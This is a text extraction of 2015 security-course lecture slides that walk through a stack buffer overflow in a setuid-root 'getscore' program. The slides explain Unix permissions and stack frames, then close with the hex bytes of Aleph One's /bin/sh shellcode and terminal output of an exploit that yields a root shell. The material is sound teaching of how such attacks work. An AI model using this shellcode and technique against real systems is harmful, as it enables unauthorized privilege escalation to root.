Let’s look at an example • I want to write an application that reports the course scores to you. • Requirements: – Every student can only get his/her score – Maintain all students’ scores in a file – Local command-line operation 1
Dec 30, 2015
Let’s look at an example
• I want to write an application that reports the course scores to you.
• Requirements:– Every student can only get his/her score– Maintain all students’ scores in a file– Local command-line operation
1
Score file format
2
[root@localhost getscore]# cat score.txtMary Doe:123-45-6789:A+:…Tom Smith:567-89-1234:B:…
User name Student SSN
Score
Our little “getscore” program
• User name and SSN for authentication• Score file only readable to user root• A program reads the score file and report
the grade to an authenticated user
3
[root@localhost]# ls -ltotal 24-rw------- 1 root root 46 Aug 20 11:35 score.txt-rwsr-xr-x 1 root root 12947 Aug 20 11:36 getscore
Setuid bit
Unix file system protection
• Attributes of a file
[root@localhost course_scores]# ls -l
total 20
-rwsr-xr-x 1 root root 13587 Aug 25 2009 getscore
-rw------- 1 root root 88 Aug 25 2009 score.txt
4
Permission bits Owner Group
directory bit owner permissions
group permissions
other user permissions
d: directory r:read w:write x:execute (access a directory) s:set-uid bit{[d,-]} {[r,-] [w,-] [x,s,-]} {[r,-] [w,-] [x,s,-]} {[r,-] [w,-] [x, -]}
Unix set-uid mechanism
• A user can execute a program if the program file has “x” bit set for the user
• Typically the program process will have the invoker’s privilege
• If the program file also has the set-uid bit set for the owner (“s” is shown for the owner), then the program will also have the program owner’s privilege. We call such programs “set-uid programs”.
5
Unix set-uid mechanism• Provides a path for privilege elevation
– There are legitimate needs for elevating a process’ privilege to perform its jobs, e.g. “passwd” command.
• (Simplified version) Two user id fields in a process’s PCB: real user id (ruid), and effective user id (euid)– It is the euid that matters in OS protection.– non-setuid programs will have both fields set to the id of the invoker
when the program is started.– Setuid programs have ruid set to the invoker, but euid set to the
owner of the executable when started.– There are programming interfaces for changing the two uid’s during
the program’s execution, and rules on which changes are allowed.
6
Getting your score
7
[simon@localhost]$ ./getscore "Mary Doe" 123-45-6789Your score is A+
[xou@localhost course_scores]$ ./getscore "Tom Smith" 567-89-1234Your score is B
[root@localhost]$ ./getscore "Mary Doe" 123-45-7890Invalid user name or SSN.
Security problems in getscore
• First things first: analyze the threat– Who are the adversaries? What are they
after?
• What are the potential risks and their implications?
• How would you mitigate the risk?
8
Let’s try this
9
[simon@localhost getscore]$ ./getscore "Mary Doe" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault
There is a vulnerability in the getscore program
A protection mechanism at work
.text
.data
heap allocated data
heap
stack
<>
local variables
function’s arguments
saved EBP
saved EIP
main() local variables
bottom of stack
ESP
EBP
address growth
function’s return address
Linux process memory map
10
argc, **argv, **envp
environment var’s
a stack frame
Calling a function
11
main(){
:
:
function(s)
:
:
:
}
.text
.data
heap
top of stack
<>
main() local varsESP
EBPargc, **argv, **envp
environment var’s
Calling a function
12
main(){
:
:
function(s)
:
:
:
}
push s
.text
.data
heap
top of stack
<>
ESP
EBPargc, **argv, **envp
environment var’s
function argumentmain() local vars
Calling a function
13
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
push return EIP
.text
.data
heap>
function argumentsaved EIP
ESP
EBPargc, **argv, **envp
environment var’s
top of stack
<
main() local vars
Calling a function
14
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
.text
.data
heap
top of stack
<>
function argument
saved EBPsaved EIP
main() local vars
ESP
EBP
argc, **argv, **envp
environment var’s
local variables
push EBP
allocate a new frame for local variables
Stack buffer overflow attack
15
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
.text
.data
heap
top of stack
<>
function argument
saved EBPsaved EIP
main() local vars
ESP
EBP
argc, **argv, **envp
environment var’s
local variables
Returning from a function
16
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
release the function’s frame and restore the saved EBP
.text
.data
heap>
function argument
saved EBPsaved EIP
main() local vars
ESP
argc, **argv, **envp
environment var’s
local variables
<
EBP
Returning from a function
17
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
release control to the caller
.text
.data
heap>
function argument
saved EBPsaved EIP
main() local vars
ESP
argc, **argv, **envp
environment var’s
local variables
EBPA buffer
overflow on stack can change this control flow
<
Stack overflow attack
18
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
.text
.data
heap
top of stack
<>
function argument
saved EBPsaved EIP
main() local vars
ESP
EBP
argc, **argv, **envp
environment var’s
local variables
push EBP
allocate a new frame for local variables
AAAAAAAAAAA
AAAAAAAAAAAAAAA
A A A A
A A A A
Stack overflow attack
19
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
.text
.data
heap
top of stack
<>
function argument
saved EBPsaved EIP
main() local vars
ESP
EBP
argc, **argv, **envp
environment var’s
local variables AAAAAAAAAAA
AAAAAAAAAAAAAAA
A A A A
A A A A
Stack overflow attack
20
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
release the function’s frame and restore the saved EBP
.text
.data
heap>
function argument
saved EBPsaved EIP
main() local vars
ESP
argc, **argv, **envp
environment var’s
local variables
<
EBP0x41414141
AAAAAAAAAAA
AAAAAAAAAAAAAAA
A A A A
A A A A
Stack overflow attack
21
main(){
:
:
function(s)
:
:
:
}
function(s){
:
:
return;
}
Control Hijacked by Attacker!
.text
.data
heap>
function argument
saved EBPsaved EIP
main() local vars
ESP
argc, **argv, **envp
environment var’s
local variables
<
AAAAAAAAAAA
AAAAAAAAAAAAAAA
A A A A
A A A A
EBP0x41414141
Buffer overflow vulnerability
• Program fails to ensure that a write to a buffer is always within its bound.
• When buffer overflow happens, data structures in memory will be corrupted, potentially changing the program’s behavior.– In many cases it can lead to the execution of arbitrary
code by attackers
• A common problem for unsafe programming languages such as C and C++.
22
Setuid and buffer overflow• What is the implication of a buffer overflow
in a setuid program?– If the buffer overflow happens when one of the
uid fields contains more privilege, it could result in a local privilege escalation vulnerability, i.e. an attacker who already obtained local access on the system can escalate his privilege.
– If the setuid program is owned by root, an attacker who has user account privilege may gain root privilege on the system.
23
Creating a malicious input
24
The original buffer
EIPShell CodeNOP sled
Questions: 1. How long should the input be?
2. Where should we put the EIP in the input?
3. What value of EIP should be put in?
Shell code to use
25
/*Aleph1's Linux shellcodefrom "Smashing the stack for fun and profit",Phrack 49, vol 7*/
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
Getting a root shell
26
[xou@localhost simon]$ ./exploit_gen_with_esp 0xbffff830 160 120Length of shell code: 45Using sp: 0xbffff830Using address: 0xbffff7b8NOP sled: 103 bytes
[xou@localhost simon]$ cd /root/course_scores/[xou@localhost course_scores]$ ./getscore aaa $EGGsh-2.05b#sh-2.05b# whoamirootsh-2.05b#